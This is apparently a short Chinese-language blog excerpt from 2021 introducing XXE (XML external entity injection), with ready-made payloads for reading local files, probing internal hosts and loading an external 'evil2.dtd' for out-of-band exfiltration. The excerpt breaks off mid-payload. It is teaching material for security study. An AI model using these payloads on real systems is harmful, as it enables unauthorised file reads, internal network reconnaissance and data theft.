XXE

XXE简介 XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。 XML 与 HTML 的主要差异: XML 被设计为传输和存储数据,其焦点是数据的内容。 HTML 被设计用来显示数据,其焦点是数据的外观。 HTML 旨在显示信息 ,而 XML 旨在传输信息。 漏洞利用 1.提交的数据包含XML格式如: <forgot><username>admin</username></forgot> 2.请求头中如: Content-Type:text/xml或Content-type:application/xml 文件读取: <?xml version="1.0"?> <!DOCTYPE Mikasa [ <!ENTITY test SYSTEM "file:///d:/www.txt"> ]> <user><username>&test;</username><password>Mikasa</password></user> 内网探针: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" > ]> <user><username>&rabbit;</username><password>Mikasa</password></user> 外部实体引用:(解决不回显,解决免杀拦截问题,外部引用Payload) <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd"> %file; ]> <user><username>&send;</username><password>Mikasa</password></user> evil2.dtd <!ENTITY send SYSTEM "file:///d:/www....

October 14, 2021 · 1 min · alvazu